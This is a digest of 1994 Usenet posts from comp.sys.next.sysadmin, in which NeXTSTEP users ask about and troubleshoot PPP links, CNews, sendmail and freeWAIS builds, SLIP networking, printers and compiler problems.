esprit@netcom.com (home) | more affluent - Soichiro Honda
Newsgroups: comp.sys.next.sysadmin
From: thomas@gamelan.sh.sub.de (Thomas Funke)
Subject: Re: Cryptor bundle for Mail.app in less than 3.1
Message-ID: <1994May31.202448.1919@gamelan.sh.sub.de>
Sender: thomas@gamelan.sh.sub.de (thomas)
Organization: Disorganization
References: <2s86u8$3h6@bigfoot.wustl.edu>
Date: Tue, 31 May 1994 20:24:48 GMT
In article <2s86u8$3h6@bigfoot.wustl.edu> brian@arl.wustl.edu
(Brianosaurus) writes:
>
> But I want to use the cryptor bundle to include PGP in my mail.
> Is it possible to just copy the Mail.app from the 3.2 system and
> install cryptor bundle in there, or does the cryptor stuff require
> something in the 3.2 libraries?
If 3.2-Mail.app will be running under 3.1, you can probably use
cryptorBundle that way. It is NOT possible to use the bundle with
Mail.app from earlier versions, because NeXT has changed the interface
since 3.2.
--
------------------------------------------------------------------
Thomas Funke thomas@gamelan.sh.sub.de
Brooks's Law:
Adding manpower to a late software project makes it later
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From: cmg@escape.com (Christopher Geyer)
Newsgroups: comp.sys.next.sysadmin
Subject: using sdformat to change block size on SCSI
Date: 2 Jun 1994 00:55:13 GMT
Organization: Escape ONLINE.
Message-ID: <2sjalh$7fc@beyond.escape.com>
Has anyone successfully used sdformat to change the block size on a SCSI
drive? I really don't want to screw up the drive. It is a Micropolis
model number 1924 (2.4gb). I called Micropolis up and they said that
changing the block size would void the warranty or something like that.
The documentation on sdformat says that using it gives you extra
performance and drive space so I would like to use it if it does not
damage my hard drive.
Christopher Geyer
cmg@escape.com
Newsgroups: comp.sys.next.sysadmin
From: dbrad@ucdmath.ucdavis.edu (David Bradford)
Subject: Users's Guide ?
Message-ID: <CqqzoA.6nK@ucdavis.edu>
Keywords: Looking for NeXT Step User's Guide
Sender: usenet@ucdavis.edu (News Guru)
Organization: UCD Department of Mathematics, Davis CA
Distribution: world
Date: Thu, 2 Jun 1994 02:16:57 GMT
Many times in the Sys-admin Manual for NS3.2 there are references
to the User's Guide - Where can I get one of these "User's Guides"?
David Bradford dbrad@ucdmath.ucdavis.edu
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.sys.next.software
From: valdes@geosun.uchicago.edu (John Valdes)
Subject: Problems with PPP on NeXT
Message-ID: <1994Jun2.022131.4941@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Department of the Geophysical Sciences, University of Chicago
Date: Thu, 2 Jun 1994 02:21:31 GMT
Newsgroups: comp.sys.next.sysadmin
From: Jacques Garbi
Subject: Problems with CNews
Message-ID: <CqpJtL.F3@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
Date: Wed, 1 Jun 1994 07:36:57 GMT
Hi,
I'm running a single machine at home but my girl friend is using it also.
I recently set up CNews in order to receive and send News. It works
perfectly for my account but as soon as I log in under her account, I
can't send news anymore. Right after I post a message, it bounces in the
mail.app saying that rec-food-recipes is an unknow host for instance.
Now, how come it works for me and not for her. I checked, we belong to the
same groups. I also checked all the files I could and the permissions seem
to be consistent. Even if I log in as root, the same problem happens.
Can someone suggest a cure to that problem ?
Thanks a lot
Jacques
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Jacques GARBI
Av. Davel 18
1004 Lausanne
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.sys.next.software
From: valdes@geosun.uchicago.edu (John Valdes)
Subject: Problems with PPP on NeXT
Message-ID: <1994Jun2.051551.10843@midway.uchicago.edu>
Keywords: ppp, NeXT
Sender: news@uchinews.uchicago.edu (News System)
Organization: Department of the Geophysical Sciences, University of Chicago
References: <1994Jun2.022131.4941@midway.uchicago.edu>
Date: Thu, 2 Jun 1994 05:15:51 GMT
Hmmm, somehow my post disappeared; let's try again...
Hello all,
I've been trying to setup a PPP link between a Sun running ppp-2.1 and
a NeXT running next-ppp-0.3 (the NeXT port of ppp-1.something done by
Miron Cuperman, miron@extropia.wimsey.com) and NEXTSTEP 3.2. PPP on
the Sun seems to work fine, as I can use PPP between it and non-NeXT
systems w/o any problems. With the NeXT system, however, I've only had
partial success. I can establish the link between the two systems
(dialout from the NeXT into the Sun), but everything doesn't work.
Specifically, I'm unable to use telnet, rlogin, and ftp (and probably
others) to/from the NeXT, but I can ping, do DNS lookups, rup, rdate,
etc. Also, when I terminate the client ppp daemon on the NeXT, the
server pppd on the Sun doesn't terminate, thus preventing the getty on
the Sun from restarting to handle incoming calls again. I have to
login to the Sun and manually send a SIGHUP to pppd to free the serial
line.
The NeXT (standalone) dials into the Sun (on ethernet) with chat,
starts 'pppd passive proxyarp' on the Sun, then starts 'ppp /dev/cub
38400' on itself. Once the link is established, when trying to telnet
from the NeXT to any machine, telnet will report that the connection is
established, but then hang before displaying the login prompt. On the
Sun, the following errors are logged:
pppd[14114]: demuxprotrej: Unrecognized Protocol-Reject for protocol 47!
pppd[14114]: demuxprotrej: Unrecognized Protocol-Reject for protocol 45!
when telnet is trying to establish the connection. The same happens
with rlogin and ftp. No error messages are logged by the server pppd
when the client ppp disconnects.
Has anyone using ppp on a NeXT had this problem and know how to fix it?
Any help or suggestions are welcomed.
John
-------------------------------------------------------------------------
John Valdes Department of the Geophysical Sciences
valdes@geosun.uchicago.edu University of Chicago
From: briansp@css.itd.umich.edu (Brian W. Spolarich)
Newsgroups: comp.infosystems.wais,comp.infosystems.www,comp.sys.next.sysadmin
Subject: Compiling freeWAIS for NextStep 3.2
Date: 2 Jun 1994 05:26:06 GMT
Organization: University of Michigan ITD/User Services
Message-ID: <2sjqhe$rnr@lastactionhero.rs.itd.umich.edu>
Well, this is actually a couple of questions, I guess.
As it appears everyone is thinking about doing these days, I am
bringing up an HTTP server and I want its contents to be searchable.
With all of the development going into WAIS and Z39.50, it seems to be a
logical choice to use WAIS.
I am running NextStep 3.2 with the Developer's release compiler as well
as gcc-2.5.8. I cannot get freeWAIS-0.202 or 0.3 to compile. I get lots
of errors, lots of undefined types, pointer errors, and other ugly stuff.
Has anyone been able to get WAIS to compile on a NeXT? Want to give me
your diffs?
Second question is more NeXT-specific (hence the cross-posting). How
does the native NeXT-indexing toolkit compare to WAIS? I know a lot
about NeXTs, but I haven't used the ix stuff much. Can it do the same
things WAIS does? Can I give it the same kinds of requests?
I basically want to serve a forms gateway that will take requests and
return document URLs appropriately. Any help that folks could provide
would be greatly appreciated.
Email replies would be appreciated, as I don't get to read news as much
as I would like.
Thanks,
-brian
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UM ITD User Services (313) 747-3499
Online Consulting Systems Project http://ocs.us.itd.umich.edu
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From: wjs@yucca.omnigroup.com (William Shipley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Date: 1 Jun 1994 22:22:41 -0700
Organization: Omni Development, Inc.
Message-ID: <2sjqb1$a6v@yucca.omnigroup.com>
References: <2sdsq4$54u@yucca.omnigroup.com> <CqnB72.n4A@news.cis.umn.edu>
jimbo@oingo.umn.edu writes:
>> can support socks or term or whatever himself. (We've actually already
> Politally INCORRECT STATEMENT ^^^^^^^^^
Sorry, I can't find any entry in Webster's for "politally". Could
you rephrase your post in English? If you're trying to correct my
grammar, maybe you could suggest an alternative phrasing that pleases
you more?
-Wil
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Mach Network server (nmserver) (Re: DPS connection across a SLIP) connection)
Date: 2 Jun 1994 08:00:12 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2sk3ic$pho@cs.ubc.ca>
References: <2sit07$mh0@cs.ubc.ca>
More info on my troubles in getting Mach messaging (e.g. Display
Postscript) happening across a SLIP connection.
My problem appears to be in convincing nmserver (Mach IPC daemon) that I
do indeed have a working network interface. Since I have no other network
interfaces and I don't bring up TransSys PNI until well after the machine
boots, I have to bring up a lot of network services by hand. However, I
can't convince nmserver that I have a working network interface:
croehrig# ifconfig -a
lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
inet 127.0.0.1 netmask ff000000
pni0: flags=51<UP,POINTOPOINT,RUNNING>
inet 137.82.11.117 --> 137.82.8.35 netmask ffffff00
croehrig# nmserver=`ps cax | grep nmserver | awk '{print $1}'`
croehrig# kill -USR2 $nmserver
Jun 1 21:10:53 croehrig netmsgserver[21]: network_init
Jun 1 21:10:53 croehrig netmsgserver[21]: Could not find a working
network interface - disabling the network
(This last bit is adapted from /etc/rc.net.)
Any suggestions as to how I can convince nmserver that I really have a
working network interface (once I bring up SLIP)?
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail 6.8.9
Date: 02 Jun 1994 05:49:03 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94Jun2064903@steffi.demon.co.uk>
References: <1994May31.124029.2078@object_factory.fr> <2sgjt2$gci@hamblin.math.byu.edu>
<2siukf$qcl@msuinfo.cl.msu.edu>
To: gary@ah3.cal.msu.edu (Gary J LaPointe)
In-reply-to: gary@ah3.cal.msu.edu's message of 1 Jun 1994 21:29:51 GMT
<gary@ah3.cal.msu.edu> writes:
>: Have you tried it, I built it for all 2 (ok, 3) versions of NEXTSTEP 3.2
>: and it worked fine. The only thing you need to worry about are the nroff
>: macros for the man pages. You either need to install the berkeley tmac
>: macros or just don't worry about them. You can ignore those errors. The
>: only other problem is when it tries to create sendmail.st during the
>: install procedure. Other than that, it works fine.
>I get
>(Lots of okay stuff deleted)...
>cc -I. -O -DNDBM -DNeXT -DNETINFO -c version.c
>cc -o sendmail alias.o arpadate.o clock.o collect.o conf.o convtime.o
>daemon.o deliver.o domain.o envelope.o err.o headers.o macro.o main.o
>map.o mci.o parseaddr.o queue.o readcf.o recipient.o savemail.o
>srvrsmtp.o stab.o stats.o sysexits.o trace.o udb.o usersmtp.o util.o
>version.o -L/usr/local/lib -ldbm
>nroff -h -mandoc aliases.5 > aliases.0
>Cannot open /usr/lib/tmac/tmac.andoc
>*** Exit 2
>Stop.
> But sendmail seems to compile okay.
>Can I just replace the old sendmail with this one and reboot?
>What about sendmail.cf?
>What about sendmail.st?
No advisable... You need to great a .mc and run that through _GNU's_
m4.
Look in the m4/cf directory.
--
"Real programmers don't create classes. They build hierarchies"
(PGP key: send email with Subject: request pgp key)
(ASCII for text only messages)
From: jan@altus.no (Jan Bratbak)
Newsgroups: comp.sys.next.sysadmin
Subject: Installation problem
Date: 2 Jun 1994 13:43:01 GMT
Organization: UniNett
Message-ID: <2sknl5$57j@ratatosk.uninett.no>
I am trying to install NS 3.2 on a 90mhz Pentium machine (P54C/CT PCI
motherboard) with AMIBIOS dating back to December last year. Everything
looks normal up to shortly after selecting the disk to install on. Then
the following messages appear:
fdisk: bogus bios info
some bios' can't handle non-seqeuential targets
fdisk: bogus bios info
some bios' can't handle non-seqeuential targets
/etc/rc.cdrom.i386: test: argument expected
CD-ROM boot procedure complete.
Please wait until it's safe to turn off the computer.
Killing all processes
continuing
It's safe to turn off the computer.
I am using an Adaptec 1542 CF SCSI adapter so I guess the problem has to
be found elsewhere.
Does anyone know what the problem actually is, and a cure, maybe?
--
__________________________________________________________________________
___
Jan Bratbak
Altus Interactive
Gaustadalleen 21
0371 Oslo, Norway
email: jan@altus.no
Newsgroups: comp.sys.next.sysadmin
From: alby@haquer.uucp (Albatross)
Subject: Re: Problems with PPP on NeXT
Message-ID: <CqruEv.18K@haquer.uucp>
Keywords: ppp, NeXT
Organization: The Empire Organization
References: <1994Jun2.022131.4941@midway.uchicago.edu> <1994Jun2.051551.10843@midway.uchicago.edu>
Date: Thu, 2 Jun 1994 13:20:54 GMT
If you can ping and do DNS lookups, yet cannot telnet and ftp,
This means that UDP packets are able to leave your system, yet TCP packet
are not able.
The best bet is to have your network provider check the netblazer
which your logging into to make sure your connect is properly setup.
-Alby
From: mickey@uunet.uu.net (Mickey Lasky)
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Problems with PPP on NeXT
Date: 2 Jun 1994 11:19:19 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: mickey@shiva.UU.NET
Distribution: world
Message-ID: <2skt9n$3bv@shiva.UU.NET>
References: <1994Jun2.022131.4941@midway.uchicago.edu>
In article <1994Jun2.022131.4941@midway.uchicago.edu>, valdes@geosun.uchicago.edu (John Valdes) writes:
>
Looks like has problems posting as well. What kinda PPP problem is it? Which
PPP are you running?
------
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Technical Support dokk@ita.org (NeXTMail welcomed)
http://stravinsky.anderson-lab.american.edu:3001
"I did not say this. I am not here..."
--- Third Stage Guild Navigator
_Dune_
From: ramesh@cs.mcgill.ca (Ramesh SOMALINGAM)
Newsgroups: comp.sys.sun.admin,comp.sys.next.sysadmin
Subject: User Management Packages
Date: 2 Jun 1994 15:35:22 GMT
Organization: SOCS, McGill University, Montreal, Canada
Distribution: world
Message-ID: <2sku7q$6ie@homer.cs.mcgill.ca>
Does anyone know of any User Management packages out on the net? I'm looking
for packages that handle creation, deletion and archival of user accounts.
Thanks.
--
Ramesh Somalingam School of Computer Science
Email: ramesh@cs.mcgill.ca McGill University
Tel : (514) 398-5923 Montreal, Canada
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Problems with PPP on NeXT
Date: 2 Jun 1994 13:17:25 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: alby@cthulu.UU.NET
Distribution: world
Message-ID: <2sl475$23d@cthulu.UU.NET>
References: <1994Jun2.022131.4941@midway.uchicago.edu> <2skt9n$3bv@shiva.UU.NET>
Keywords: ppp NeXT
I remember back in the day when I had all these funny PPP problems.
I've modded the ppp_3.0 program and now it works 100% of the time and it
was free of charge.
I'm thinking about placing the 100% workable PPP for NeXT's to
an FTP site. Any recommendations on if I should chose cs.orst.edu or
sonata.cc.purdue.edu as a site to submit my modded program?
-Alby
In article <2skt9n$3bv@shiva.UU.NET>, mickey@uunet.uu.net (Mickey Lasky) writes:
>
>In article <1994Jun2.022131.4941@midway.uchicago.edu>, valdes@geosun.uchicago.edu (John Valdes) writes:
>>
>
> Looks like has problems posting as well. What kinda PPP problem is it? Which
>PPP are you running?
>
>------
>Mickey Lasky mickey@uunet.uu.net
>Technical Support dokk@ita.org (NeXTMail welcomed)
> http://stravinsky.anderson-lab.american.edu:3001
>
>"I did not say this. I am not here..."
> --- Third Stage Guild Navigator
> _Dune_
>
Newsgroups: comp.sys.next.sysadmin
From: smorris@tuzo.erin (Stephen Morris)
Subject: help: can't create parent netinfo domain.
Message-ID: <Cqs6G6.DFH@credit.erin.utoronto.ca>
Sender: news@credit.erin.utoronto.ca (Usenet News)
Organization: Erindale College, University of Toronto, Canada
Date: Thu, 2 Jun 1994 17:40:44 GMT
I am having problems getting Netinfo to work:
I currently have two machines (more to come) for which I have non-sequential
IP numbers, a broadcast address and a subnet mask. All these IP numbers
are assigned by bureaucrats outa my control: I can't change 'em. The broadcast
address corresponds to a non-NeXT machine upstairs, which I need to connect
to to get mail and internet connection.
My hope was to network my (now just 2) NeXT/intels with Netinfo, without
having to muck with machines outside. Since the IP numbers are not sequential,
I though I could just manually add hosts after I got a domain started.
When I try to run Simple Network Starter, my machine refuses to create the
parent netinfo domain: it says that it can't find the parent (or some such
thing) and aborts. I have tried a bunch of permutations, but I can't seem
to find any combination that allows anything but local netinfo on each
machine.
The problem seems to be that my machine trys to bind to the non-NeXT broadcast
host, which isn't a netinfo machine, so screws up.
Any suggestions would be appreciated!
S Morris
U Toronto Physics.
Newsgroups: comp.sys.next.sysadmin
From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: lookupd logging
Message-ID: <Cqs7o1.KB9@txnews.amd.com>
Sender: news@txnews.amd.com
Organization: Advanced Micro Devices, Austin TX
Distribution: usa
Date: Thu, 2 Jun 1994 18:07:11 GMT
Can logging be turned on/off dynamically (i.e sending a kill -SOMESIGNAL to
it's process id) in 3.2 ?
If not, does anyone know if NeXT plans on adding this capability in the future
?
--
Ronald Pomeroy
Advanced Micro Devices
CIM Applications Group
rpomeroy@aunext1.amd.com
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: New JetDirect cards for HP printers
Date: 2 Jun 1994 18:59:24 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2sla6c$6i@agate.berkeley.edu>
While getting info for ordering a HP1200C/PS, I found the following
which might be of interest to some here (since I saw some posts
asking how to use a JetDirect card with NEXTSTEP.)
It looks like HP finally improved their JetDirect MIO cards for
placing HP LaserJet/DeskJet printers directly onto Ethernet.
The new cards (J25xx series) are claimed to support 'lpd' protocol
which should just work with NEXTSTEP. Old ones (J23xx series) did
not support lpd protocol, although it supported a simpler TCP/IP
connection, requiring a special driver such as TCPprd from Uptime
Object Factory or something similar for NS (demo on standard archive
sites). (And HP didn't have driver support for NS, not surprisingly).
[There was also an option of using Emulex NetJet card.]
New cards also do hot-switching or automatic protocol switching so
NS, NetWare, Mac's can all print to it without reconfigration.
We will have to see how it does with NS.
Some excerpts from:
ftp://ftp-boi.external.hp.com/pub/printers/laserjet/doc/4plfaq.exe
You have to unpack this on a DOS machine/emulator (sigh).
---
New JetDirect cards' features include automatic
protocol switching for all HP printers with modular
input/output (MIO) slots, JetAdmin for UNIXr system-based
computers, line-printer daemon (lpd) support for UNIX
system-based computers, enhanced NetWare support, Flash
EPROM, integrated Ethernet/LocalTalk card, and enhanced
Token Ring support.
....
The previous generation of JetDirect cards offered
protocol switching only when used with the HP LaserJet 4Si
MX network printer. The new cards bring this capability to
all HP printers and plotters with HP MIO slots. Automatic
protocol switching allows a printer to be shared in mixed
network environments and also simplifies installation since
the printer does not need to be configured for protocol
support.
....
Support for lpd is embedded in the new JetDirect card
firmware, providing basic printing support for a wide
variety of UNIX system-based NOSs not specifically supported
by JetDirect host software. The lpd utility is common to
most UNIX system-based environments -- it moves a print job
from one host to another host connected to a printer. Lpd
eliminates the need for an additional spooling workstation
or device between host and printer (See backgrounder).
New MIO Cards Part No. New Price Old Price Change
JetDirect for J2550A $369 $449 18
Ethernet
(10BaseT only)
JetDirect for J2552A 429 499 14
Ethernet/LocalTalk
(10BaseT, 10Base2,
8-pin mini-DIN)
[J23xxA series cards are OLD, don't get those.]
--
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USMail: Univ. of California, 360 Minor Hall, Berkeley, CA 94720-2020
Telephone: (510) 642-6440 Fax: (510) 642-3323
(NeXT & MIME mails welcome. Finger for public key.)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: al@atd.rochester.ny.us (Al Davis)
Subject: Re: bbs source
Message-ID: <1994Jun2.172436.1780@atd.rochester.ny.us>
Sender: al@atd.rochester.ny.us (Al Davis)
Organization: Huh?
References: <2sfd22$ht3@olorin.dark.sub.org>
Date: Thu, 2 Jun 1994 17:24:36 GMT
Thomas Fischer writes
> I'm looking for a BBS package (source and for free preferred, of course)
> for a NeXT...
> I believe there's no BBS software (maybe commercial) with NS-support ?!?
> So I guess a simple unix BBS would do the job - but I have no idea which
> works under Mach/BSD - does xbbs ?
xbbs (and several others) work if you play with them. There are several
available with source. BUT, they all look like standard PC bulletin boards.
Single letter commands with help screens (also known as "menus"). The "expert
mode" that lets you turn off the menus once you have memorized them, ... If
this is what you want, just get an old 8088, a PC based bulletin board
package, and go to it.
It seems to me that with **ix (NeXT, Linux, etc.) we can do much better by
throwing away the concepts of the monolithic bulletin board, the dozens of
single letter commands, .. What makes more sense is to use the **ix tools
(mail, cnews, rn, nn, tin, elm, uucp, sz, rz, kermit, ...) and a restricted
shell to make one. It seems to me that this should be much easier to
administrate and beat the pants off any DOS like bulletin board. New features
can be added without dumping the whole package.
A group of us here are reworking a bulletin board. It will be based on Linux
and an assortment of tools that are already available. Maybe when we get it
working we will assemble a "package" so that others can install it without
searching for everything.
al.
From: rprice@reunion.umd.edu (Rodney Price)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q] gcc 2.5.8 installation
Date: 2 Jun 1994 19:30:08 GMT
Organization: University of Maryland, College Park
Distribution: world
Message-ID: <2slc00$l1f@umd5.umd.edu>
Keywords: gcc
I just installed gcc 2.5.8, together with a new libg++ 2.5.3, on my NeXTstation
running NS 3.2. The new compiler works just fine, but now the old one (NeXT's
cc) is having problems finding some symbols. Here is what happens:
complex[3] cc -v
Reading specs from /lib/m68k/specs
NeXT Computer, Inc. version cc-216.obj~13, gcc version 2.2.2
complex[4] cc -o hello hello.cc -lg++
ld: Undefined symbols:
___negdi2
___umoddi3
___udivdi3
I'm stumped -- hello.cc is just the usual C++ "hello, world" program using
iostream.h. What's going on?
Thanks,
Rod Price
rprice@reunion.umd.edu
From: Olav Anderson
Newsgroups: comp.sys.next.sysadmin
Subject: mounting OD for the network to see
Date: 2 Jun 1994 19:49:16 GMT
Organization: The University of British Columbia
Distribution: world
Message-ID: <2sld3s$fu2@nntp.ucs.ubc.ca>
Hi,
How can I mount an OD so it shows on the network and can be used by
users that don't have OD's on their host machines.
I have a slab and a cube networked and I want the cube to access the floppy and
the slab to access the OD if there is an OD or a floppy mounted.
I hope this is clear
Thanks is advance
___________________________________________________
B.Olav Anderson
Autodidact
NeXTSTEP CyberSurfer
e-mail olav@emerson.physics.ubc.ca NeXT Mail? Of course!
Vancouver, B.C.
"I know of no more encouraging fact than the unquestionable ability of man to
elevate his life by a conscious endeavor."
H.D.Thoreau
From: helge@haddock.chalmers.se (Markus H|rnkvist)
Newsgroups: comp.sys.next.sysadmin
Subject: Terminal program sought
Date: 02 Jun 1994 20:09:33 GMT
Organization: Chalmers
Distribution: world
Message-ID: <HELGE.94Jun2220934@haddock.chalmers.se>
Where can I find a program that allows me to do zmodem downloads from
a Unix system that I dial in to?
Since I'm a newcomer to NS, it would be great if it were in binary
form for NS FIP 3.2, or at least possible to compile without
modifications.
/Markus
helge@cd.chalmers.se
From: helge@haddock.chalmers.se (Markus H|rnkvist)
Newsgroups: comp.sys.next.sysadmin
Subject: Serial driver sought
Date: 02 Jun 1994 20:14:39 GMT
Organization: Chalmers
Distribution: world
Message-ID: <HELGE.94Jun2221439@haddock.chalmers.se>
Where can I find a serial driver that can 19200 baud under NS FIP 3.2?
I have tried Mux, but it refuses to communicate with my modem.
At the moment, I'm using a serial mouse.
/Markus
helge@cd.chalmers.se
From: nielsen@bears.Stanford.EDU (James Nielsen)
Newsgroups: comp.sys.next.sysadmin
Subject: no tcsh on finger
Date: 2 Jun 1994 20:07:23 GMT
Organization: Stanford University
Message-ID: <2sle5r$t2j@nntp2.Stanford.EDU>
Hi all,
I have sort of an odd problem. Normally, when I have multiple terminals
open and someone fingers at my machine, they see that I'm on the console,
and they see all the shells (tcsh in my case). Recently, though, only the
console registers.
This is not really a big problem, but I think it is also wreaking havoc
with the talk demon, which seems to get very confused these days.
Suggestions, anyone?
-jamey.
From: hugunin@mtl.mit.edu (James Hugunin)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail causes system panics?
Date: 2 Jun 1994 20:30:27 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2slfh3$rls@senator-bedfellow.MIT.EDU>
We've had a recurring problem on my network for a number of months now.
Unfortunately, it's one of those fuzzy, hard to reproduce, problems that
are almost impossible to debug.
If a user has mail waiting, and tries to open the Mail.app before his
workspace has completely finished loading, the system will panic.
"panic: (Cpu 0) zfree"
Of course, this only happens about 20% of the time.
Has anybody else out there seen this sort of behavior, or have any idea
what might be causing it?
Thanks for any help!
---
Jim Hugunin-----hugunin@mit.edu
NanoStructures Laboratory---MIT
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: lookupd logging
Date: 2 Jun 1994 20:46:41 GMT
Organization: NeXT, Inc.
Message-ID: <2slgfh$qi@rosie.next.com>
References: <Cqs7o1.KB9@txnews.amd.com>
Ron Pomeroy x(Coop) writes
> Can [lookupd] logging be turned on/off dynamically
Nope.
> If not, does anyone know if NeXT plans on adding this capability
Yes, in Release 3.3.
--
Marc Majka
Newsgroups: comp.sys.next.sysadmin
From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: Booting up NextStep from CDROM on a HP712
Message-ID: <CqsGpC.HA4@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: The Geometry Center, University of Minnesota
References: <1994May31.102814@esiee.fr> <2sgdr3$dpc@cs.ubc.ca>
Date: Thu, 2 Jun 1994 21:20:27 GMT
Well, we are using ALL HP equipment and we can't get it to work
on our 712/60 either. We have a HP A1999A CDROM drive instead of
the "tested" A2655A. Any hints or clues much appreciated.
Scott S. Bertilson
--
From: rfoote@pcm5134.sph.umich.edu (Richard J. Foote)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compiling freeWAIS for NextStep 3.2
Date: 2 Jun 1994 23:32:25 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Message-ID: <2slq69$7b9@controversy.math.lsa.umich.edu>
References: <2sjqhe$rnr@lastactionhero.rs.itd.umich.edu>
I'll take #1:
Host swdsrv.edvz.univie.ac.at
Location: /network/misc/wais
FILE -r--r--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
Host plaza.aarnet.edu.au
Location: /wais/think.com
FILE -r--r--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
Host gatekeeper.dec.com
Location: /.3/net/infosys/wais
FILE -r--r--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
Host think.com
Location: /wais
FILE -r--r--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
Host quake.think.com
Location: /wais-from-gw/wais
FILE -r--r--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
Host askhp.ask.uni-karlsruhe.de
Location: /CD/WAIS/server/next
FILE -rwxr--r-- 19485 May 17 15:09
freeWAIS-NeXT-3.0.patch
Location: /pub/infosystems/wais/server/next
FILE -rwxr--r-- 19485 Oct 14 1993
freeWAIS-NeXT-3.0.patch
In article <2sjqhe$rnr@lastactionhero.rs.itd.umich.edu>
briansp@css.itd.umich.edu (Brian W. Spolarich) writes:
> Well, this is actually a couple of questions, I guess.
>
> As it appears everyone is thinking about doing these days, I am
> bringing up an HTTP server and I want its contents to be searchable.
> With all of the development going into WAIS and Z39.50, it seems to be a
> logical choice to use WAIS.
>
> I am running NextStep 3.2 with the Developer's release compiler as
well
> as gcc-2.5.8. I cannot get freeWAIS-0.202 or 0.3 to compile. I get
lots
> of errors, lots of undefined types, pointer errors, and other ugly
stuff.
>
> Has anyone been able to get WAIS to compile on a NeXT? Want to give
me
> your diffs?
>
> Second question is more NeXT-specific (hence the cross-posting). How
> does the native NeXT-indexing toolkit compare to WAIS? I know a lot
> about NeXTs, but I haven't used the ix stuff much. Can it do the same
> things WAIS does? Can I give it the same kinds of requests?
>
> I basically want to serve a forms gateway that will take requests and
> return document URLs appropriately. Any help that folks could provide
> would be greatly appreciated.
>
> Email replies would be appreciated, as I don't get to read news as
much
> as I would like.
>
> Thanks,
>
> -brian
> --
>
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=
> Brian W. Spolarich
briansp@umich.edu
> UM ITD User Services (313)
747-3499
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http://ocs.us.itd.umich.edu
>
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Newsgroups: comp.sys.next.sysadmin
From: Dave@NexusAdmin.COM(David W. Fahrney)
Subject: Re: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2
Message-ID: <Cqr6u9.3I3@nexusadmin.com>
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
References: <2sg4be$jqi@news.service.uci.edu>
Date: Thu, 2 Jun 1994 04:51:44 GMT
!>
!> Anyway, thanks for the suggestion. Scott Hergott was also kind enough to
!> reply to my post. He suggested
!> disk -B0 /usr/standalone/i386/boot0/dev/rhd0a
!>
That's not quite right! You need one more space in there:
disk -B0 /usr/standalone/i386/boot0 /dev/rhd0a
--
David W. Fahrney =:-)
From: chris@iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: What're the HSD and Interfax driver on PrintManager?
Date: 3 Jun 1994 00:35:28 GMT
Organization: Iowa State University, Ames, IA
Distribution: world
Message-ID: <2sltsg$64q@news.iastate.edu>
Ok, a very simple question... Why HSD and Interfax, but not Hayes, Zyxel or
whatever more common modem in the world (be supported on NS)?
Is there a historical reason?
Why am I asking so many question...? >:)
I'm waiting for the next generation Zyxel which has been claimed that it can
handle FAX better under NS and other multitasking OS. Any comment on this?
I'm not in a great hurry to buy a FAXModem... so wait, right? >:)
Stretching my neck to hear from you guys.
Chris
--
NeXTMail super welcomed!!|
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From: mconners@magnus.acs.ohio-state.edu (Michael R Conners)
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.sys.next.software
Subject: cmsg cancel <2slh24$ste@charm.magnus.acs.ohio-state.edu>
Control: cancel <2slh24$ste@charm.magnus.acs.ohio-state.edu>
Date: 3 Jun 1994 00:56:47 GMT
Organization: The Ohio State University
Message-ID: <2slv4f$da@charm.magnus.acs.ohio-state.edu>
<2slh24$ste@charm.magnus.acs.ohio-state.edu> was cancelled from within trn.
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*** Michael Conners - THE Ohio State University ***
Gun control isn't about guns, it's about control.
From: starksm@genesis.mcs.com (Scott M. Stark)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mach Network server (nmserver) (Re: DPS connection across a SLIP) connection)
Date: 3 Jun 1994 01:57:26 GMT
Organization: MCSNet Services
Distribution: world
Message-ID: <2sm2m6$ndm@News1.mcs.com>
References: <2sk3ic$pho@cs.ubc.ca>
Keywords: nmserver, SLIP, interfaces
In article <2sk3ic$pho@cs.ubc.ca> croehrig@celegans.psych.ubc.ca (Chris
Roehrig) writes:
>
